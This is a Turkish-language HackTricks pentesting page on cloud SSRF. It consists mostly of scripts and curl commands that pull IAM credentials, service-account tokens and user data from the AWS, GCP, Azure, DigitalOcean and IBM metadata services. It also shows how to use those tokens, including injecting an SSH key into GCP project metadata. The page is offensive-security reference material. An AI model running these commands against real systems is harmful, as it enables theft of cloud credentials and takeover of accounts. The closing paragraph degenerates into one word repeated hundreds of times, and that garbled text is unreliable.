hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

36 KiB
Raw Blame History

Bulut SSRF

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

AWS

AWS EC2 ortamında SSRF'nin Kötüye Kullanımı

Metadata uç noktasına herhangi bir EC2 makinesinden erişilebilir ve hakkında ilginç bilgiler sunar. URL'de erişilebilir: http://169.254.169.254 (metadata hakkında bilgi burada).

Metadata uç noktasının 2 sürümü bulunmaktadır. İlk sürüm, uç noktaya GET istekleri aracılığıyla erişim sağlar (bu nedenle herhangi bir SSRF bunu sömürebilir). Sürüm 2 için, IMDSv2, bir HTTP başlığı ile bir PUT isteği göndererek bir token istemeniz ve ardından bu belirteci başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekmektedir (bu nedenle bir SSRF ile daha karmaşıktır).

{% hint style="danger" %} EC2 örneği IMDSv2'yi zorluyorsa, belgelere göre, PUT isteğinin yanıtı bir atlamalık sınırlamasına sahip olacaktır, bu da EC2 metadata'sına EC2 örneği içindeki bir konteynerden erişimi imkansız hale getirecektir.

Ayrıca, IMDSv2, X-Forwarded-For başlığını içeren bir belirteç almak için yapılan istekleri de engelleyecektir. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişmesini engellemek içindir. {% endhint %}

Metadata uç noktaları hakkında belgelerde bilgi bulabilirsiniz. Aşağıdaki betikte, bu uç noktadan bazı ilginç bilgiler elde edilmektedir:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Genel olarak erişilebilir IAM kimlik bilgileri örneğine şuradan ulaşabilirsiniz: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Ayrıca genel EC2 güvenlik kimlik bilgilerini şuradan kontrol edebilirsiniz: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Daha sonra bu kimlik bilgilerini AWS CLI ile kullanabilirsiniz. Bu, size o rolün izin verdiği her şeyi yapma imkanı sağlayacaktır.

Yeni kimlik bilgilerinden faydalanmak için, şu şekilde yeni bir AWS profil oluşturmanız gerekecektir:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_token dikkate alınmalıdır, bu profilin çalışması için vazgeçilmezdir.

PACU, keşfedilen kimlik bilgileriyle kullanılabilir, ayrıcalıklarınızı bulmak ve ayrıcalıkları yükseltmeye çalışmak için.

AWS ECS (Container Service) kimlik bilgilerinde SSRF

ECS, kendi küme yönetim altyapınızı ölçeklendirmenize gerek kalmadan bir uygulamayı çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. ECS içinde çalışan servisi ele geçirmeyi başarırsanız, metadata uç noktaları değişir.

Eğer http://169.254.170.2/v2/credentials/<GUID> adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce <GUID>'yi bulmanız gerekmektedir. <GUID>'yi bulmak için makine içindeki AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ortam değişkenini okumanız gerekmektedir.
Bunu başarabilirseniz, file:///proc/self/environ üzerinden bir Path Traversal'ı istismar ederek okuyabilirsiniz.
Bahsedilen http adresi size AccessKey, SecretKey ve token'ı verecektir.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} Bazı durumlarda konteynerden EC2 meta verilerine erişebileceğinizi unutmayın (önceki bahsedilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz. {% endhint %}

AWS Lambda için SSRF

Bu durumda kimlik bilgileri env değişkenlerinde saklanmaktadır. Bu nedenle, bunlara erişmek için file:///proc/self/environ gibi bir şeye erişmeniz gerekmektedir.

İlgili env değişkenlerinin adları şunlardır:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

Ayrıca, IAM kimlik bilgilerinin yanı sıra, Lambda fonksiyonlarının başlatıldığında fonksiyona iletilen olay verileri de bulunmaktadır. Bu veriler, fonksiyona çalışma zamanı arayüzü aracılığıyla sunulur ve duyarlı bilgiler içerebilir (örneğin stageVariables içinde). IAM kimlik bilgilerinin aksine, bu verilere standart SSRF üzerinden erişilebilir: http://localhost:9001/2018-06-01/runtime/invocation/next.

{% hint style="warning" %} Lambda kimlik bilgilerinin env değişkenlerinde olduğunu unutmayın. Dolayısıyla, lambda kodunun yığın izini env değişkenlerini yazdırıyorsa, uygulamada bir hataya neden olarak bunları dışa aktarmak mümkün olabilir. {% endhint %}

AWS Elastic Beanstalk için SSRF URL

API'den accountId ve region bilgilerini alıyoruz.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Ardından API'den AccessKeyId, SecretAccessKey ve Token bilgilerini alıyoruz.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Sonra kimlik bilgilerini aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ ile kullanırız.

GCP

Metadata uç noktaları hakkındaki belgelere buradan ulaşabilirsiniz.

Google Cloud için SSRF URL

HTTP başlığı Metadata-Flavor: Google gerektirir ve aşağıdaki URL'lerle metadata uç noktasına erişebilirsiniz:

Bilgi çıkarmak için ilginç uç noktalar:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta şu anda bir başlık gerektirmiyor (teşekkürler Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} Sızdırılan hizmet hesabı jetonunu kullanmak için sadece şunu yapabilirsiniz:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

{% endhint %}

Bir SSH anahtarı ekleyin

Token'ı çıkarın

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Önceki çıktı ile token kapsamını kontrol edin (veya aşağıdakini çalıştırarak).

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Şimdi SSH anahtarınızı gönderin.

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Bulut Fonksiyonları

VM'lerde olduğu gibi, meta veri uç noktası çalışır ancak bazı uç noktalar olmadan:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

{% hint style="warning" %} AWS Roller veya GCP hizmet hesabı gibi şeyler yok, bu yüzden kimlik bilgileri botunu bulmayı beklemeyin {% endhint %}

Belgelendirme https://developers.digitalocean.com/documentation/metadata/ adresinde mevcuttur.

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Belgeler burada.

  • Başlık Metadata: true içermelidir
  • X-Forwarded-For başlığı içermemelidir

{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% tab title="PS" %}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure Uygulama Servisi

env içerisinden IDENTITY_HEADER ve IDENTITY_ENDPOINT değerlerini alabilirsiniz. Bu değerleri kullanarak meta veri sunucusu ile iletişim kurmak için bir belirteç toplayabilirsiniz.

Çoğu zaman, bu kaynaklardan biri için bir belirteç istersiniz:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} IBM'de varsayılan olarak meta veriler etkin değildir, bu nedenle bir IBM bulut sanal makinesinin içinde olsanız bile erişim sağlayamayabilirsiniz. {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

Çeşitli platformların meta veri hizmetlerine dair belgeler aşağıda açıklanmış olup, örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde 